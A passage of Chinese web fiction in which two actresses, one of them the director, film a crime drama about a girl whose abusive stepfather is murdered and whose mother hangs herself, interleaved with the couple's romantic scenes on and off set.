但也有人觉得大快人心。 雨停,坐在小卖部门口的树底下乘凉的大爷大妈消息总是灵通的。 打着蒲扇,热的浑身是汗也不耽误聊天。 “李兴一死,咱这也算是能清净些日子了。” “可不是吗,小季她们娘俩也不用整天担惊受怕的。” “小季可是咱这楼里唯一的一个大学生……天天回来都一身的伤……” 忽然有一个老人说:“就是可惜了,她姥姥走的突然,我之前拎着鸡蛋去瞧她,那时候还能认出我,找我要她的小季……怎么就等不及小季下火车就火化了呢……” 李云舒和季兇肩并肩的在向这边走。 这时候的电动车还处于高端定位的产品,寻常人家大多数都还是使用自行车。 她的后车座上捆着一个不算多大的电视机,看着也不像是新的,但也依然吸引了不少人的注意。 聊天的,用一双老迈迟缓的目光看着她们。 ,不爱说话。 李云舒则和她相反,站天。 案件进展和详情都要保密,大爷,就是好奇,想打听。 第一案发现场始终都没被找到,尸检结果也由于尸身腐败受损严重而不容乐观。 加上暴雨和台风,已经距离案发两周了,进度都寥寥无几。 这期间,季兇一直都住在李云舒家里。 她们走后,有个老人叹着气,说:“李队长是个好人啊……”- 房间收拾的很干净。 屋里还是最原始的水泥地,做了简单的抛光处理,两人进屋后换上拖鞋,先后去走廊尽头的水龙头处冲脚。 等季兇回来的时候,李云舒已经在研究那个电视机要怎么安装了。 她在门边看了一会,接过说明书看了两眼,一声不吭的回自己家拿工具箱。 季繁见到她回来,一双眼睛充满了怨毒,在季兇进门的瞬间就开始辱骂。 “你还知道回来!你这个忘恩负义的狗东西,你把你爸害死了,一家人以后怎么活?!” “你不是去那姓李的那躲清静去了吗?你还知道你有我这个妈?!你怎么不干脆饿死我把我也一起杀了?!” “……” 季兇始终一言不发,在自己房间的床底下翻找姥姥留下的工具箱。 她的姥姥早年是为国|家做导|弹的,在一个秘密基地工作了三十年,和季繁几乎没怎么见过面,所以才一直很愧疚。 但季兇不欠季繁的。 李云舒听到动静,打开了门后皱着眉看了眼季繁,说:“凶手还没找到,注意你的措辞,季兇还是个孩子。” 季繁露出了讳莫如深的狰狞的笑容,“她还是个孩子?她是个疯子,是个变态,她就是凶手!她出生就带煞,迟早她得克死我们全家!” 哭着,骂着,季繁伏倒在床上,声音呜咽拉长,像夜班女鬼的啼哭。 季兇已经找到了工具箱。 她走到门边,对李云舒说:“走吧。” 李云舒又皱着眉看了季繁一眼,先一步转身。 季繁抬起头,恶狠狠的朝着门边看去,却正撞上了季兇的脸。 那张脸上没有任何表情,甚至没有任何的大动作,然而就从极其细微的眼神里,她看出了季兇无声的嘲弄。 似乎又不止。 一直到季兇走后很久,季繁怔怔的望着被虚掩上的房门,一瞬间千百种思绪涌上。 想起这许多年对季兇、对母亲的亏欠,想起自己的软弱,最终,落在季兇那双黝黑的、没有情绪的眼上,却无端的打了个哆嗦- 楼道很狭窄,容不下两个人并肩而行。 李云舒向季兇说着让她一定要好好学习,毕业以后可以找一个好工作的话。 季兇乖乖听着,进门后很快的将电视机组装完毕。 无人时,李云舒在房间内卸下了些许防备。 她叹了口气,有些疲惫的向后倒在床上,望着天花板上昏黄的灯泡出神。 像是闪到了眼睛,李云舒眨了眨,将头侧到了一边。 手机这时候响起,李云舒看了眼来电显示,迟疑片刻,还是接通了。 电话那头是她的同事,手机的声音太大,挡不住的在屋里响起。 “头,来一趟所里吧,省里领导来了,你刚调过来,这件案子难查,得和上头做一个详细汇报,说明这一次的难点啊!” 李云舒精神一震,说:“好,这就来。” 她起身整理自己的衣服,一边嘱咐着季兇,“你会折腾这些电器,也得小心点,别被伤到了,毕竟带电呢,我今晚可能不回来了,你想看电视就看,零钱在桌子上,饿了就自己去买点吃的……” 季兇听着她嘱咐完,一直没打断。 过了片刻,李云舒也想不起自己要嘱咐什么,在原地站了下,和季兇对视一眼,无声的朝她笑笑。才转身拉开了门。 直到这时候,季兇忽然开了口,说道:“这个案子不能破,是不是会阻碍到你?” 李云舒一愣,下意识的回过头,看到了少女一张白净纤弱的脸。 她的脸上似乎又没有担忧和自责,李云舒一下子觉得有些违和的地方,却还是摇了摇头,说:“没有的事儿,别多想。” 说完,她将门关上,离开了小楼。 季兇起身,走到了窗边。 楼层不高,她能看到李云舒正在接电话、和电话那头的领导说着道歉的话语,也能看到李云舒单手打开了自行车锁,略显狼狈的骑车上了路。 季兇一手在窗台上扣了扣,指缝里塞了不少墙上的白灰。 直到这时,她脸上才显露出了一丝极为明显的阴郁。 少女转过身,头微微垂着,长如瀑的黑发散下,遮住了她细弱的身躯。 的声音压的很低,带着股难言的灵动:“早知道把你剁成肉泥煮熟喂狗了……” 走出镜头外,黎数听到陆嵬喊了‘卡’。 她停了停,目光从季兇的生活环境上,转移到了镜头后陆嵬的脸上。 现实交错,她停顿了下,很快出了戏。 今天两人难得可以一起回酒店,路上还是春风开车,521和元宝在保姆车里跑酷玩闹,黎数看着窗外的景色有些出神。 陆嵬接了杯温水,里面放了些茉莉花和蜂蜜,已经搅开了。 “情绪不好?”陆嵬打量着黎数的表情,小声的问她,“喝一点尝尝。” 黎数微微勾了勾唇,没伸手,说:“你喂我。” 陆嵬就拿起杯子,小心翼翼的放到了黎数唇边。 黎数看着陆嵬的眼睛,很清浅的一双琥珀色的瞳孔,鲜活、明亮。 她心里因为刚刚拍的戏的内容产生的无端的烦躁轻了一些。 车开的再稳也免不了会晃,有水从黎数唇边溢出来,很快坠到下巴。 陆嵬手托着茶杯,很自然的倾身过去,在黎数唇角吻了下,伸出舌尖,将那滴茶卷走了。 黎数垂着眼,表情平静的看着陆嵬的脸。 黎数不说话、情绪也不高的时候,陆嵬就像是一个敏锐的小动物一样,也不说话,安安静静的陪伴着,但时时刻刻都在关注黎数的一举一动。 黎数伸手捏住了陆嵬的下巴,左右晃了晃。 陆嵬眨眨眼,表情很无辜的样子。 黎数就着这个姿势,在陆嵬唇上吻了一下。 然后就在陆嵬想回吻,想更深入时,黎数却向后躲开了。 一次、两次,第三次的时候陆嵬就急了。 一条腿的膝盖跪在沙发上,双手抵着黎数的肩膀就要去找自己想要的,一嘴亲了个实在的,陆嵬才满足,喉咙里发出细碎的声音,改为捧着黎数的脸和她接吻。 唇分时,陆嵬靠在黎数的肩膀上,轻轻蹭了蹭,不算抱怨,嗓子里的声音听着像是撒娇,“你怎么了?” “没什么。”黎数摸摸陆嵬的发丝,说:“只是刚刚季兇的戏份,让我想到了一些不太好的东西。” 不管是杀了李兴,还是和李兴同归于尽,这在季兇得知外婆是被李兴和季繁合谋杀死的那一刻,就已经计划好了的。 但李云舒的出现,对于季兇而言是一个变数。 她是季兇的救赎,对季兇而言,是她从未体会过的温情与关爱,也是她懵懂幻想时期给予了想要的、全部的对象。 她的夙愿得报,老天都在帮助她,暴雨、台风、闷热的天气,腐败严重的尸体。 警方查不到线索,两周过去,毫无进展,这眼看着就会是又一桩的悬案。 可偏偏,负责接受这桩案子的人,是李云舒。 在季兇得知自己成为了李云舒的阻碍后,在陆嵬得知,她成为了自己的阻碍,而顾宗年还活着,甚至无法被撼动,母亲还帮着他一起要挟自己的时候…… 黎数揉了揉陆嵬的脸,很用力的在陆嵬脖子上印下一个吻,轻声说:“没事。” 相拥了一会,黎数低头看了眼陆嵬安静的侧脸。 她就很乖的枕在自己的肩上,头发依然是纯黑色,柔顺的垂着,和她自己的发丝交织在一起,分不清究竟谁是谁的。 黎数又剐蹭了下陆嵬的侧脸,喊了声:“宝宝。” 陆嵬轻轻的‘嗯’了声,尾音上扬,一点力气没用,只一双眼向上抬高,去找黎数的眼。 对视上后,黎数无声的笑笑,又亲了她一下,心情终于好了,说:“好乖,亲一下。” 第96章 第九十六章【VIP】 闹钟响起,黎数睁开眼,颈侧趴着一颗毛茸茸的脑袋。 身体有些酸沉,黎数下意识捂了下小腹,有仔细清洗过,但还是有点酸胀。 在床上坐着缓了一会,黎数推了推陆嵬的手臂:“起来了。” 长发形成了天然的遮阳屏障,陆嵬哼哼着又往下缩缩身体。 黎数食指在陆嵬的脸上戳戳,好笑的说:“最多还能再睡十分钟。” 浴室水声响起时,陆嵬就自发坐了起来。 刚五点,走廊里还没什么声息 趁着人少,一般陆嵬还得装模作样回一趟自己房间,假装是从楼上下来的。 想起这个,她有点气不顺,脸枕在黎数肩上,从背后环着黎数的腰,“《秘宝》的时候,我荧幕初吻都光明正大给你了,凭什么现在要藏着掖着。” 黎数用洗脸巾擦干脸上的水,从镜子里看陆嵬还带着睡意的脸,轻笑着说:“因为费导是导演。我们俩那时候也没搞真正的地下恋情,又不是偷偷摸摸亲的,所以不用小心谨慎。” 陆嵬的身体这两年虚耗的厉害,虽然已经尽力在调养,但睡醒起来时总是要缓一会。 黎数抽了张新的洗脸巾,湿了点水,给陆嵬轻轻擦了擦。 清水拂过,力道很轻柔,陆嵬舒服的笑了笑,确实是精神了。 陆嵬睁开眼,在黎数嘴唇上啄了下说:“我刚刚做了一个重大决定。” 黎数好笑:“多重大?” “我要搬过来和你一起住。”陆嵬说。 “现在也没差了。” “有差。”陆嵬很不忿:“每一天和隔几天能一样吗?” 黎数往外走,陆嵬仗着现在比她高一点,坠在后面不撒手,下巴始终黏在黎数的肩膀上。 黎数也不觉得她烦,拖着小尾巴似的走哪带到哪。 “没有隔几天。”黎数说:“你现在已经快养成每天准时打卡的习惯了。” 跟着大部队上楼溜一圈,开个灯就下来。 时不时再把521和元宝一起连带着扫地出门。 搞得521某次饱含冷泪的录制了一期名为《可怜的小机器人和无家可归的猫咪被恶霸驱逐》的‘流浪’主题的纪录片。 “那也不一样。”陆嵬把无名指上的戒指竖起来:“我可每天都戴着呢。” 拍戏的时候肯定不能戴首饰,何况是一眼就能看出来的对戒。 收工以后的时间往往又不定时,很难时时刻刻都想着要戴上,所以黎数的戒指一般保留在521那。 “杀青以后我也会每天佩戴。”黎数最后说:“想搬过来就搬过来吧,反正也不是什么秘密。” 于是521被分派了新任务,负责帮陆嵬搬家- 这件事情让陆嵬的心情大好。 后面的戏份也不知道是不是感应到了陆嵬的心情变化,同样也进行的无比顺利。 甚至看黎数和沈凝雪拍甜蜜戏份看得多了,陆嵬居然看出来了点诡异的津津有味—— 或许是创作时的痛苦就是为今天准备的温床,季兇这个角色的扮演者是黎数,她几乎在扮演的时候完全与当时的自己共感了。 所以黎数总会在收工后回去补偿她。 一直到甜蜜相处同居的戏份即将拍完时,陆嵬居然还生出了些许不舍来。 脱离人设,离开规定情形后,季兇的影响对黎数而言就会慢慢变小。 很多事情黎数平时不会做,但这几天却会很好说话,也愿意配合。 以后就说不好了。 现场的打光已经开始逐渐的在调整。 初下火车时,天空都是灰蒙蒙的,一如季兇当时的心境。 之后不久,随着李兴的死亡,和祭神仪式的到来,天气开始变为狂风骤雨。 而在季兇住进李云舒家里后,天气才开始微微放晴。 现在终于再次迎来了台风天。 空气变得潮湿,粘稠,呼吸都被裹挟着,没有任何办法可以驱逐这种湿粘的感觉。 案件被迫暂停,李云舒和楼里的居民一起,被台风封到了这个独立的小楼里。 疾风被一扇窗户阻隔在外,吹得哐哐作响。 家家户户都提前准备好了物资,缺乏娱乐设施的年代,在饭点时,大都聚在走廊里,或是楼下大厅里聊天。 楼里现在只有李云舒家里有电视机。 虽然是黑白的,但也已经足够拉拢全楼的孩子了。 李云舒也没闲着,趁着这听。 问孩子们有没有遇见过李兴,或者是有没有去过李兴死之前的地方玩,有没有看到什么,或是李兴和谁有过矛盾。 孩子们为了有电视看,也为了和李云舒这唯一一个有电视的‘权威人士’打好关系,不管有的没的,只要看见了,全都告诉她。 “老酒鬼总偷看大学生洗澡,我妈带我妹妹洗澡的时候骂他呢。” “还偷看二楼的模特,去偷人家衣服穿,在人家门口站着,说烧烧香。”” “他还总去找小卖部的哑巴,小卖部他。” “杀猪的老板娘也拿刀想砍他,我妈说让我和我妹看见他就跑,找大人在的地方呢。” 李云舒的本子上记了一行又一行字。 李兴偷窥、骚扰的对象,和他有过矛盾的人选,一一罗列,再按 中性笔的墨水都快要不够了,没写几笔就开始断墨。 她换了根笔,想了想说:“前几天泼红礼的时候,你们看见谁身上颜色比较多、比较浓的没?” 泼红礼是当地祭神时的一个习俗。 用红墨水或是其余一些红色的染料充作黑狗血,向着人群泼洒,取意祛凶避灾。 但红墨水和鲜血毕竟不同,气味、颜色,都不难分辨。 “可多了可多了!大学生身上很多呢,回来还一直在清理楼道,名模也是,她好多朋友,大家玩得好开心。” “那天杀猪了吧?就在后山,放好多血!” “是呀,砍骨头用的大砍刀有我那么长!” “是呀好多哇,我妈带我去的时候,可多人身上都有猪血,回来以后,咱们楼里都刷了好几次地,难闻死啦!” 李云舒一震:“后山?” “就是后边。”一个稍大的孩子指了指背面,说:“就是一个小土坡,那边空地大,猪肉店就在那片开。” 泼红、砍刀、杀猪、刷地……李兴被钝刀砍砸了数次才砍断,创面狰狞、血肉模糊的头颅。 有什么东西冥冥之中像是快要被串联成线,李云舒登时起身,掏出手机的瞬间,就开始向着屋外冲去。 电话还在等待接通。 转角处,李云舒抬头,却看到季兇正站在家门口,面对着屋里,不像是要进去,也不像是要出门。 听到李云舒的声音,季兇侧过头,向她这里张望了一眼。 李云舒的脚步顿在当下。 她很难以去形容季兇那一瞬间的眼神。 从窗外照到楼内的昏暗光线,让季兇的身影像是藏在一个灰黑色的迷笼里,眼睛里似乎投射出了自己的影子。 只是片刻的迟疑,李云舒停下了脚步。 忽然她看到,季兇的表情松懈了下来。 那是非要一眨不眨的注视下才能注意到的变化,只是明明表情没什么变化,可整个人的神情就不同了。 正要往季兇那边走,李云舒手上的电话忽然被接通了。 同事的声音在安静的走廊里也显得突兀,李云舒匆匆说了句‘稍等’,紧接着便捂住了话筒,和季兇匆匆告别。 季兇露出了一个李云舒都没见到过的灿烂笑容,而后和她点了点头,算作是打了招呼。 直到那天晚上回来,李云舒才知道,季兇的母亲在家里上吊自杀了。 她面朝着门,朝着季兇所在的方向,表情狰狞可怖,舌头吊在外面,死不瞑目。 家里的墙上被她用血红色的油漆写上了几个歪歪扭扭,向下淌着条条红痕的大字: 不得好死。 而她下午看到季兇站在门边时,季繁的尸体还吊在半空晃动着- 这场戏拍完之后,在场所有人都不约而同的长长的出了口气。 工作人员一窝蜂的涌上去搀扶刘香铃,被放下来后,刘香铃缓了很久,才摆着手让人放开了她。 但喉咙受到长时间压迫,说话必然变得艰难,缓了很久,刘香铃才能勉强咽几口水,就站起来,往监视器的方向走了过去。 这一场是实拍对实拍,黎数在开拍的时候压力非常大,因为刘香铃已经六十多岁,不可能有第二次、第三次的机会去让她NG,让她一遍遍重来。 ——真要是这样,黎数在这圈子也不用待了。 整场戏审过,刘香铃盯着黎数看了一会,忽然问她,说:“你的情绪拿捏的非常好。” 黎数那一瞬间,莫名觉得刘香铃其实想问的,是‘你是不是见过死人’。 “之前在六陇市留下的印象太深了。”黎数说:“心有余悸,但感悟良多。” 刘香铃恍然,才想起来还有这一茬。 “年纪大了,差点把这事忘记了。”刘香铃苦笑着摇摇头,“你这么一提,我也是才想起来,我今天拍的这场戏,也是有源于六陇市的经历。” 刘香铃去过的地方,在一处村子附近。那里住了一个七十多岁的老人家,年轻时丧夫丧子,年老时孙女也一起没了。 唯一的一个女儿过得也不尽人意,老人不想给孩子徒添负担,颤巍巍用一根麻绳把自己拴在后院靠山的水龙头上吊死了。 发现的时候,老人的尸体已经严重腐败。 但这件事情并没有被播出去,节目组上下更是下了禁令不允许外流,至今都是秘密。 黎数是不知道这段经历的。 但想也知道不是什么喜事,闻言也只点了点头。 自杀这场并不是刘香铃的最后一场戏,但距离杀青也不远了。 仅剩的戏份都比较轻松,刘香铃笑着说:“年轻的时候就想演点真坏人,没想到老了才如愿。” 想把一个旧时代被洗脑的女性演的可悲,但不可恨,不是一件容易的事情。 剧本上能给出的内容一共就那么多文字,表演全靠导演调教和演员本身领悟。 刘香铃的表演功底毋庸置疑,剩余的,全要看成片,和总导演的能力。 陆嵬身上背的压力多,也不差这一桩了。 闻言她说:“您觉得季繁算是坏人吗?”* 刘香铃耸耸肩,说:“谁知道呢?我认为她是,但说不定有人认为她不是。” 对于季繁而言,季兇是个女孩,就代表了她一生不幸的开始。 所以她苛待季兇,更因为生了季兇以后身体不能再生育,而把季兇视为眼中钉,连名字都取意为‘凶’,一出生起就把她丢给了外婆。 登记的人不忍心见女孩背上‘凶’这个字,便在下面多加了个‘儿’,把字变成了‘兇’,这样让人不至于第一眼就给她下定论,也多了一层厉害和豪放的本意。 可如果看客的想法是和季繁一样,被洗脑了的女性,那么,她的想法势必也和季繁是一样的。 错的是季繁吗? 或许有,又或许是造就了季繁这种性格想法成因的时代和社会。 今天收工以后,天已经黑透了。 刚直接目击过一次自杀现场,虽然明知道是假的,但因为太过于逼真,黎数眼前总还是会回放起那狰狞的一幕。 她嘟囔着说:“香铃姐这场在电影院真的能上映吗?不会给小孩儿吓哭吧?” “本来受众就不是小孩子。”陆嵬说:“片名一看也知道不是小孩该看的。” 黎数把椅子放倒,握住了陆嵬的一只手。 察觉到黎数的手有点凉,陆嵬说:“下午那场吓到你了吗?” 顿了顿,黎数没逞强,说:“吓了一跳。” 陆嵬有愧疚,但不算多。 某种程度上来说,她师承费鹤鸣,也很喜欢费鹤鸣什么都想要最真实的那一套。 没条件也要创作条件。 所以下午刘香铃上吊的那场戏,近景眼神戏,陆嵬一开始就给黎数施加了比较多的压力,让她必须一次过。 黎数的剧本上,只有‘季兇回到家,刚一打开房门,就发现了母亲上吊自杀的身影’这么一句话。 其余所有的一切,都要靠她自己去想,自己去发挥,自己去想,面对季繁后会发生的一切。 天知道看到的那一秒,黎数用了多大的自制力才没叫出来。 但话又说回来。 黎数说:“香铃姐能火这么多年,被誉为口碑代表人物,真的不是说说而已。” 陆嵬很赞同的点头,有点后怕的从自己椅子上起来,坐到了黎数腿上。 陆嵬:“妆造出来的时候我也吓了一跳,差点以为白日见鬼。” 黎数被她心有余悸的模样逗笑,一手上还环着陆嵬的腰,耷拉着眼去看和陆嵬交握在一起的手。 黎数:“这场戏拍完,我晚上估计觉都睡不好了,起码得做七天噩梦。” 陆嵬惴惴道:“我箱子里有安神香,晚上我给你点上。” 黎数说:“就这样?” 黎数的语气平静,可就是太平静了,陆嵬反而琢磨不出来任何东西。 导演的威严早在离开片场的瞬间就散了个一干二净。 陆嵬现在人坐在黎数腿上,坐得笔直,也不去捏黎数的手了,拘谨的互相搓着,小声说:“那怎么办呢?” 黎数整个人靠在椅背上,状似想了一会,才说:“晚上给姐姐唱歌吧。” 陆嵬表情纠结,“一定要唱歌吗?我五音不全。” 黎数说:“跳舞也行。” “我可以给你念诗朗诵。”陆嵬试图打商量:“这个还比较好助眠。” 黎数不容拒绝的摇头,“不可以,我想听你唱歌。” 车上的空间宽敞,往常都不错,但今天是陆嵬头一次恨起了这宽大的空间。 空调的风力很大,从她和黎数没有贴在一起的身体缝隙中穿过的时候,冷的人浑身难受。 陆嵬终于犹犹豫豫的点了点头,一去不复返似的说:“行,我唱。” “唱七天。”黎数手指比了个数字,说:“刚刚姐姐说了,可能会做一周的噩梦。” 陆嵬表情开始变得委屈,但还是抿着唇点点头。 黎数本来就是欺负人,一开始觉得好玩,现在见陆嵬委委屈屈,还要点头的模样反而欺负不下去了。 她笑着一手揽住陆嵬的腰,带着陆嵬的身体一起向后倒下。 椅背承受了两个人的重量,不受控制的晃了晃。 黎数看着陆嵬的眉眼,侧着头吻她的嘴唇。 一开始只是轻轻的啄了一下,在注意到陆嵬迎合的动作后,便撬开了她的齿缝,笑着和她深吻。 等到这个吻结束时,两人的嘴唇都红了不少。 陆嵬垂眸盯着黎数的嘴唇看,半晌,才哑声说:“还怕吗?” 怕什么? 黎数眨眨眼,恍然想起自己这会是‘被这场戏吓到了,有点害怕,可能会做一星期噩梦’的人设。 愣是反应了一会,黎数看着陆嵬,忽然眯了眯眼,说:“还有点怕。” 果然,像是黎数所料,陆嵬很高兴的挑起了唇角,起身把黎数拉了起来。 黎数没抗拒,顺从着站起来,两人的姿势便对换了。 陆嵬坐在椅子上,把黎数揽到了怀里,让她坐在自己的腿上,一手按在黎数后背按着,让黎数变成了靠在她怀里的模样,一下一下的安抚。 腿时不时的颠一下,像是哄孩子一样,另一只手按在黎数的腿上,护着她不让她往下掉。 黎数就笑了,低下头,心痒难耐的在陆嵬锁骨上轻轻吻了一下。 第97章 第九十七章【VIP】 天色浓黑,李云舒迈着疲惫的步伐从外面回来。 身后跟着五六个便衣。 楼里寂静异常,持续了五六天的台风悄然散去,外面到处都是残枝落叶,天地像是被摧毁过一次,被憋在家里的人们也终于有了出门喘息的空间。 李云舒的沉默和外面嘈杂的环境显得格格不入。 她下午去局里见了个人。 来人脸色异常憔悴,饱受几天折磨,才将一沓照片交出来。 “那老太太被拉来的时候都已经凉了,身上都僵了,穿的是冬天的寿衣,抬进火化炉的时候她脖子上的衣裳开了,我才看见,那么老粗的手指印……” 照片上的人,是季兇的外婆。 很快的,警方就开始摸排线索。先后排查了附近邻居、李兴的狐朋狗友,以及寿衣店老板的证言。 在她死后的第二天上午,尸体都还没火化完毕,李兴就急着拿她的火化证,打听火化补偿金的事情,又去了保险公司。 不难推断,季兇的外婆死于李兴和季繁之手。 “舒姐。”后面跟着的便衣上前一步,“抓吗?” 李云舒仰头看着那扇开着灯的窗,就在便衣忍不住想喊她时,李云舒说:“抓。” ——但事情总是这么出乎意料之外。 季繁死了。 上吊自杀。 所有便衣都忘不了那诡异的一幕。 季兇家里的门关着,但没有上锁,只拧个把手就能推开。 季繁的身体已经硬了,眼睛向外狰狞的瞪着,口唇黑紫,身上已经开始出现尸斑。 风很大,门被打开后形成了对流,房间里淡淡的臭味被吹散了不少。 在里面给墙上刷漆的少女听到动静,停下动作回头看了眼。 一个下午的时间,墙只刷了一半。因为不熟练的原因,粉刷完的一半坑坑洼洼,另外一半则被铲掉了许多,深的地方还透着底下的石灰。 地面上的白色粉堆有不少位置都掺杂着零星的红色,不难看出季兇是为什么要刷墙。 李云舒在门边站了一会,让便衣把季繁放下来带回警局,自己撸起了袖子,走到了被清空的墙根底下。 地上的漆一共两桶,分界线也很明显。 左边季兇刷成了饱和度较高的橘黄,右边空出的位置,放着的漆桶是淡黄色。 李云舒:“另外一边想刷成黄色?” 季兇点点头:“嗯。” 房间只余下刷子细小的‘唰唰’声- 季繁的尸体被带回警局做尸检,初步判断确实是自杀无误。 季兇已经年满十八岁,墙面被刷干净后,李云舒带她一起回了警局配合调查。 夜深的厉害,街道上空无一人,也让季兇避开了被邻居议论的窘境。 小卖部正在收摊,店门前一盏闪烁的路灯照着路面。 老板娘正巧推开门,看到结伴而行,深夜外出的李云舒和季兇时停下了,依靠在门边,不声不响的默默看着她们的背影远去。 片刻后,老板娘将目光挪向了没有卖完,堆积在仓库里的鞭炮。 大片大片的红色卷炮,被一盏惨白的灯照着,无端的渗人。 警局里,季兇面前被放了一杯温水,里面加了蜂蜜,李云舒家里也经常有这个味道的槐花蜜。 警察来了几拨,问了她很多问题,季兇一一回答了。 最后可以离开的时候,季兇忽然抬起头,问他们:“你们本来要带来的人,是我妈,对吗?” 问话的警察一愣。 季兇站住,“发现我妈死了,才把我带过来的。你们为什么会找我妈呢?是因为李兴?还是……因为我外婆?” 针对李兴的调查,从发现他的尸体开始就已经排查了好几圈。 季兇和季繁都被排除了作案嫌疑,因为她们两个都有相当强有力的不在场证明。 季繁当时在挑祭神用的鞭炮和礼花,而季兇在猪肉铺买肉。 小卖部的老板,老板的女儿,以及楼里住的一个大学生、下班回来后顺道也去买肉做饭的名模都可以给季兇做证。 因为猪肉铺的生意太火爆,老板忙不过来,季兇还帮她剁了一会,身上溅到了些血迹。 小卖部老板娘让她趁着血没干,好洗,把衣服放到自己店里干洗,大学生刚下了舞蹈课,包里就有备用的衣服可以给她换上,很多人都看到了。 ,时隔这么久,又突然要去找季繁,而不找自己,季兇唯被调查清楚了。 警怎么会这么想?” 季兇的声音放的很轻,“我外婆下半身瘫痪,但除此之外没什么大病,二十年,活到一百都不成问题,因为世的。而且我和我外婆约定过,如果李兴和我妈要害她,翡翠戒指摔了,我在” 记录的警察抬头看了季兇一眼,将她的一 “我知道了。”警察微微笑了笑,“你反应的这些,我们会调查的。” 季兇扯了扯唇角。 一直到第二天天亮,李云舒接季兇回去。 两人都没合过眼,彼此都是一副油尽灯枯,下一秒就要晕过去的样子。 这次没有走路,也没骑车,李云舒打了辆出租。 沉默了一路,期间两人互相依偎着,在车上短暂的睡了一觉。 重新回到筒子楼,李云舒察觉到了不少邻居异样的眼光投在她们身上,她打开门,让季兇先进去。 回来时在路边买了小菜,两人围着小圆桌对付着吃。 季兇吃了一片清炒苦瓜,忽然抬起头,说:“警察真的会管吗?会去查我外婆的死因吗?” 李云舒静了静。 过了会,她手动了动,把筷子放下,沉吟了会说:“我有件事要告诉你。” 季兇若有所感的抬起了头。 对着那样平静、澄澈水润,仿佛已经知晓一切的一双眼,李云舒第一次觉得,‘告知被害人家属’这七个字,行动起来居然这么困难。 “你外婆的死因已经查明了。”李云舒说:“火化场的员工拍到了你外婆火化前的照片,结合你母亲和……李兴的证词,可以断定是被害,你外婆火化后可以一次性领取一万块钱的补偿金,加上保险赔偿金,那是很大一笔钱,李兴在死前,也曾经跟给他放赌债的地头蛇说过这件事情。” 季兇低下头,捏着筷子的手有些颤抖,“我外婆连尸体都没有,也能查到吗?已经成了灰的人,警察也会管吗?” “会。”李云舒直直的看着季兇,哪怕她没有抬头,“一定会管到底。” 季兇看着她笑了下,头却缓缓的左右摇了摇。 她垂下脸,又静静地扒着面前的饭菜吃:“在你来之前,他们不会管的。我和我妈被李兴打,我外婆也是因为他打我的时候,护着我才被打断了腰,但是警察不管,他们把李兴关了几天就放出来了。” “后来还有个警察劝我,让我少惹他生气,这样也能少挨点打。” 季兇说最后一句话时有停顿,有思考。 李云舒调阅到过这个卷宗,知道季兇还有话没说——那人当时还说‘也少给我们添麻烦,成天就管你们家这烂摊子了’。 说这话的人没多久就被举报革职,但曾经的漠视和敷衍、甚至说是放纵的态度,给季兇造成的伤害,给李兴助长的嚣张也是真的。 她张了张嘴,想说什么,可最终却没能说出话来。 “但你是个好人。”季兇最后说道:“有你这样的人在,说不定……” 未尽之语被季兇一笑抿过,她垂下眼,模样显得有些落寞。 收尾的定格画面过后,陆嵬终于喊了结束。 所有人都长出了一口气。 作为最后剧情的铺垫以及开始,这部分的戏里涉及到的道具和细节太多。 但黎数表现的一如既往的好,往往她的处理方式都能给人一种恍然和精准的感觉。 期间补过一次在猪肉铺剁大骨头的戏,黎数抡刀的阴影又浮现了一次,这次不比道具模型,是剧组买的实打实的半扇猪,剁碎以后还要交给食堂的师傅处理加餐。 那把刀是向附近猪肉摊的老板借来的,并不能算锋利,但剁骨头一绝。 但时间紧任务重,随着拍摄进度向下深入,天气也已经从二伏走向了初秋。 陆嵬在排戏时刻意考虑过,尽量将戏份按照正常时间线往前走,这也是她一定要选择夏天开机的原因。 “再有两个月左右就该杀青了吧?”黎数掰着指头数。 后面的内容只剩下了二分之一不到,但线索和重头戏都被压在后面。 “对。”陆嵬说,“今晚香铃姐就杀青了。” 最后一场下线的戏被安排在了杀青前,是绝对重量级的重情绪的戏份。 而所有内容也是从这场戏开始进行巨大的转折。 刘香铃的行程安排的太紧密,今晚拍摄完后就得坐凌晨的飞机离开,黎数没有一次次重来的机会。 这让黎数的压力有些大。 “不要担心。”陆嵬说:“你一定可以。” 黎数闻言笑了笑,说:“一定?” 陆嵬点点头。 似乎是想到了什么,陆嵬侧过头说:“你可能不知道,以前导演圈开内部聚会的时候,你在很多导演口中的评价都很高。” 只是圈子里人实在是太多了,口碑高但不代表就一定合适。 黎数当年在费鹤鸣那待了太久,所以导演最担心的就是被拉去和费鹤鸣比较。 一旦拍不出演员在费鹤鸣手下的质感,那这个导演也会被更高口碑高质量的演员拒绝。 这些原因陆嵬和黎数也早就谈过,而作为她的经纪人,裘夏也跟黎数聊过这事儿。 所以从费鹤鸣手里走出以后,先给她接了《地心》,又给她接了《大院》。 不同导演、不同类型、不同人设,在黎数刚出道的最初期,也最不容易被刻板印象定型的时候,裘夏和陆嵬就已经考虑好了黎数未来可能十年的发展。 “你就放开了演。”陆嵬笑着说:“我给你兜着。” 作为总导演,陆嵬的确有这个底气。 片场人太多,黎数手里还捧着剧本,闻言膝盖撞了下陆嵬的。 陆嵬人在监视器后,导演专用小喇叭没开,抿着唇,低下头微微的笑了- 监视器重新被搬到屋里,场地一切准备就位,全场都知道这场戏重要,在陆嵬喊了开始以后,一瞬间静声。 沉默在蔓延。 季繁独自一人坐在空荡的室内,桌面凌乱,面板上是长毛发臭的剩菜,她没有清理,目光死死的盯着紧闭的大门。 大门的门锁被扭动,季兇回来了。 她不意外季繁在家里,手里带着从市场买回来的东西,和季繁的目光对上,本来打算去洗手的脚步停下,站在门边不再动了。 无声的对视了一会,季兇将手里的东西撂下,露出了一个轻巧的笑。 “你爸死了,头被人砍下,下|体被凿烂,脸被野狗野猫啃得差点辨认辨认不出是谁……” 季兇沉默着。 季繁又问了季兇一遍,“你不想跟我说点什么吗?” 季兇站在原地,目光静默的看着她的生母。 她年纪还小,但太瘦了点,黑长发坠在身后,被简简单单的束成一个马尾,更显的身形单薄。 季兇启唇,湿粘的空气混杂着汗水从她的脊背滑落,“不应该是你想和我说什么?” 季繁很快失去耐性,愤怒的从桌后站起,“你什么意思,什么时候轮到你来质问我了?” 季兇的身上有血迹,不难想是在哪蹭到的。 “你爸到底怎么死的?!你前几天回来的时候衣服上都带血,每天都从那卖猪肉的婆娘那买肉,对面住的那骚|货也总在小卖部跟你说话,我看见她在小卖部买锤子,还有隔壁那贱人生的死妮子——!你穿的那身衣服就是她的!” 